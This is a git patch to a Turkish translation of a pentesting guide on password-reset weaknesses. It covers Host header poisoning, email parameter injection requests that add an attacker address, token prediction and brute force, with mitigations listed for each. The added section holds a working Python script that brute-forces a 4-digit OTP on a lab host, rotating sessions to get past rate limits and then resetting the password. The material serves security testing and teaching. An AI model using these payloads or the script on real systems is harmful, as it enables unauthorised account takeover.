From ebe5a61b4f1bed2c6af745422facd07cfe7cad56 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:42:48 +0000 Subject: [PATCH] Translated ['src/pentesting-web/reset-password.md'] to tr --- src/pentesting-web/reset-password.md | 102 ++++++++++++++++++++++----- 1 file changed, 83 insertions(+), 19 deletions(-) diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index a9029e495..61b2bde66 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -6,7 +6,7 @@ - HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir. - **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme. -- **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir. +- **Sömürü**: Bir şifre sıfırlama tokeninin referer başlığında sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir. - **Referanslar**: - [HackerOne Raporu 342693](https://hackerone.com/reports/342693) - [HackerOne Raporu 272379](https://hackerone.com/reports/272379) @@ -15,19 +15,19 @@ ## **Şifre Sıfırlama Zehirleme** - Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir. -- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirmeye yol açar. -- **Hafifletme Adımları**: +- **Etkisi**: Sıfırlama tokenlerinin saldırganlara sızdırılması yoluyla potansiyel hesap ele geçirme. +- **Azaltma Adımları**: - Host başlığını izin verilen alanların beyaz listesi ile doğrulayın. - Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın. - **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine. - **Referanslar**: -- [Acunetix Şifre Sıfırlama Zehirleme Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/) +- [Şifre Sıfırlama Zehirleme Üzerine Acunetix Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama** -Saldırganlar, sıfırlama bağlantısını yönlendirmek için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir. +Saldırganlar, sıfırlama bağlantısını saptırmak için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir. -- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin. +- Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin. ```php POST /resetPassword [...] @@ -39,13 +39,13 @@ POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` -- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin +- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin. ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin +- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin. ```php POST /resetPassword [...] @@ -86,7 +86,7 @@ POST /api/changepass ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Azaltma Adımları**: -- Katı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır. +- Sıkı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır. - Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın. - **Referans**: - [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) @@ -100,11 +100,11 @@ POST /api/changepass - **Referanslar**: - [HackerOne Raporu 280534](https://hackerone.com/reports/280534) -## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma** +## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulun** - Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler: - Zaman Damgasına Dayalı -- Kullanıcı Kimliğine Dayalı +- Kullanıcı ID'sine Dayalı - Kullanıcının E-posta Adresine Dayalı - Ad ve Soyadına Dayalı - Doğum Tarihine Dayalı @@ -126,12 +126,12 @@ uuid-insecurities.md - Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın. - **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın. -## **Yanıt Manipülasyonu: Kötü Yanıtı İyi ile Değiştirme** +## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştir** - Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme. - **Azaltma Adımları**: - Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın. -- Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın. +- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın. - **Referans**: - [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) @@ -139,32 +139,96 @@ uuid-insecurities.md - Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme. - **Azaltma Adımları**: -- Katı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın. +- Sıkı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın. ## **Brute Force Şifre Sıfırlama Token'ı** -- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma. +- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma girişimi. - **Azaltma Adımları**: - Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın. - Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin. ## **Token'ınızı Kullanmayı Deneyin** -- Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme. +- Saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme. - **Azaltma Adımları**: - Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun. ## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** -- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma. +- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olun. - **Azaltma Adımları**: - Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın. ## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** -- Sıfırlama token'larının geçersiz hale geldiği bir süresi olmalıdır. +- Sıfırlama token'larının geçersiz hale geleceği bir son kullanma süresi olmalıdır. - **Azaltma Adımları**: -- Sıfırlama token'ları için makul bir süre belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın. +- Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın. + +## **Oturumunuzu Değiştirerek OTP Hız Sınırını Aşma** + +- Web sitesi, yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 haneli), OTP'yi etkili bir şekilde brute-force yapabiliriz. +- **istismar**: +- Sunucu tarafından engellendikten sonra yeni bir oturum token'ı talep edin. +- **Örnek** kod, bu hatayı rastgele OTP tahmin ederek istismar eder (oturumu değiştirdiğinizde OTP de değişecektir, bu nedenle sıralı bir şekilde brute-force yapamayacağız!): + +``` python +# Şifre sıfırlama ile kimlik doğrulama atlatma +# coderMohammed tarafından +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] Saldırı başlatılıyor!") +sleep(3) +print("[+] Bu işlemin tamamlanması yaklaşık 5 dakika sürebilir!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 arası rastgele sayı +parms["s"] = 164 # önemsiz, sadece ön yüzü etkiler +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # deneme sayısını takip et +out = requests.get(logout,headers=headers) # çıkış yap +mainp = requests.get(root) # başka bir phpssid (token) alır + +cookies = out.cookies # oturum kimliğini çıkar +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # yeni oturum ile başlıkları güncelle + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # şifreyi değiştirmek için e-posta gönderir +ter = 0 # 8 denemeden sonra yeni bir oturum almak için ter'i sıfırla +else: +ter += 1 +if(len(res.text) == 2292): # kurtarma kodunu doğru aldığınızda sayfanın uzunluğu (test ile elde edildi) +print(len(res.text)) # hata ayıklama bilgisi +print(phpsessid) + +reset_data = { # burada şifreyi yeni bir şeyle değiştireceğiz +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] Şifre şu şekilde değiştirildi:D37djkamd!") +break +except Exception as e: +print("[+] Saldırı durduruldu") +``` ## Referanslar